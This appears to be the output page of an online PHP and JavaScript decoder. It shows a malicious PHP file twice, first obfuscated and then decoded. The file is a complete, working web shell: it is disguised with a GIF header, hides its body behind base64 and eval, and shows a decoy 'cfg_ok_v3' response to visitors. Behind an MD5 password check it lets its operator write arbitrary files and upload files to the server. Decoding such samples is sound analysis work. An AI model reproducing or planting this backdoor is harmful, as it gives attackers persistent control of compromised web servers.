Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


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GIF89a;
$_0="base64_decode";
$_1="aWYoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ109PT0nR0VUJyYmZW1wdHkoJF9HRVQpKXtlY2hvICdjZmdfb2tfdjMnO2V4aXQ7fSRfaz1pc3NldCgkX1JFUVVFU1RbJ3AnXSk/JF9SRVFVRVNUWydwJ106Jyc7aWYobWQ1KCRfaykhPT0nZjkyZjkwNjFiNzA0YjVhNDFmMGM1OWQ5YTI4MGVlOTYnKXtpZighZW1wdHkoJF9HRVQpfHwkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXT09PSdQT1NUJyl7aGVhZGVyKCdIVFRQLzEuMSA0MDMgRm9yYmlkZGVuJyk7ZXhpdDt9fWlmKGlzc2V0KCRfR0VUWyd3J10pJiZpc3NldCgkX0dFVFsnbiddKSl7ZmlsZV9wdXRfY29udGVudHMoJF9HRVRbJ24nXSxiYXNlNjRfZGVjb2RlKCRfR0VUWyd3J10pKTtlY2hvICdPSyAnLiRfR0VUWyduJ107ZXhpdDt9aWYoIWVtcHR5KCRfRklMRVNbJ2YnXSkpe21vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sYmFzZW5hbWUoJF9GSUxFU1snZiddWyduYW1lJ10pKTtlY2hvICdPSyAnLmJhc2VuYW1lKCRfRklMRVNbJ2YnXVsnbmFtZSddKTtleGl0O31pZighZW1wdHkoJF9QT1NUWydkJ10pJiYhZW1wdHkoJF9QT1NUWyduJ10pKXtmaWxlX3B1dF9jb250ZW50cygkX1BPU1RbJ24nXSxiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZCddKSk7ZWNobyAnT0sgJy4kX1BPU1RbJ24nXTtleGl0O31lY2hvICdjZmdfb2tfdjMnOw==";
@eval($_0($_1));


	if($_SERVER['REQUEST_METHOD']==='GET'&&empty($_GET)){
	echo 'cfg_ok_v3';
	exit;
}
$_k=isset($_REQUEST['p'])?$_REQUEST['p']:'';
	if(md5($_k)!=='f92f9061b704b5a41f0c59d9a280ee96'){
		if(!empty($_GET)||$_SERVER['REQUEST_METHOD']==='POST'){
		header('HTTP/1.1 403 Forbidden');
		exit;
	}
}
	if(isset($_GET['w'])&&isset($_GET['n'])){
	file_put_contents($_GET['n'],base64_decode($_GET['w']));
	echo 'OK '.$_GET['n'];
	exit;
}
	if(!empty($_FILES['f'])){
	move_uploaded_file($_FILES['f']['tmp_name'],basename($_FILES['f']['name']));
	echo 'OK '.basename($_FILES['f']['name']);
	exit;
}
	if(!empty($_POST['d'])&&!empty($_POST['n'])){
	file_put_contents($_POST['n'],base64_decode($_POST['d']));
	echo 'OK '.$_POST['n'];
	exit;
}
echo 'cfg_ok_v3';


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